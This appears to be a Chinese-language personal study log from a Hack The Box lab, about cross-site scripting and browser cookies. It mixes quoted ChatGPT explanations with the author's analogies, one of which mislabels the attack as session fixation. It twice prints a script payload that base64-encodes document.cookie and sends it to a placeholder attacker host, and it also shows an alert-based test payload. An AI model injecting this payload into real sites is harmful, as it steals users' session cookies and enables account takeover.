HTB練習紀錄 — Payload
<script>var i=new Image(); i.src="http://[your_IP]:8001/?cookie="+btoa(document.cookie);</script>
ChatGPT對Image的簡介
ChatGPT
var img = new Image();img.src = 'http://example.com/image.jpg';
結論
我的觀點
如同學生(攻擊者)向老師(被攻擊者)要試卷(img.src),老師給學生試卷的同時,還附帶答案(Cookie)。
一般而言,答案當然不會給學生,但是目前老師被操縱(Session Fixation),所以實際上是被操縱的老師(攻擊者)發出附帶答案(Cookie)的試卷(img.src)
<script>alert(document.cookie)</script>
,直接取得cookie不是比較快?問問ChatGPT為什麼會有不同的 document.cookie 值?
ChatGPT
執行時機: 這兩段代碼可能在不同的上下文中執行。比如,如果在不同的頁面或不同的時候執行,document.cookie 的值可能會有所不同。當 document.cookie 被讀取時,所得到的值取決於當前頁面的 cookie 狀態和作用域。
HTTP GET 請求的影響: 如果你的伺服器端處理 HTTP GET 請求時更改了 cookie,這可能會影響後續讀取 document.cookie 的結果。舉例來說,伺服器端可能修改了 cookie,或者有其他代碼修改了當前頁面的 cookie。
跨域和同源策略: 如果這兩段代碼在不同的域或子域下執行,document.cookie 的值可能會不同,因為 cookie 是根據域名進行隔離的。
結論
我的觀點
Cookie可以理解為一個人的身分證,在網頁中的Cookie是指User登入後,該User的身分證。擁有User權限。
監聽取得 Cookie是網頁跟別人溝通的身分證,也就是網頁本身的Cookie。
Cookie 是什麼?提及cookie有許多種類,包含但不限於"工作階段 Cookie"、"持久性 Cookie"...
<script>alert(document.cookie)</script>
<script>var i=new Image(); i.src="http://[your_IP]:8001/?cookie="+btoa(document.cookie);</script>
如果應用程式將 POST 資料直接傳遞給系統命令或腳本,且沒有適當的處理和過濾,那麼資料中的特殊字元或字串可能會被解釋為命令的一部分。例如:
參考來源:
- Cookie
Cookie 是什麼?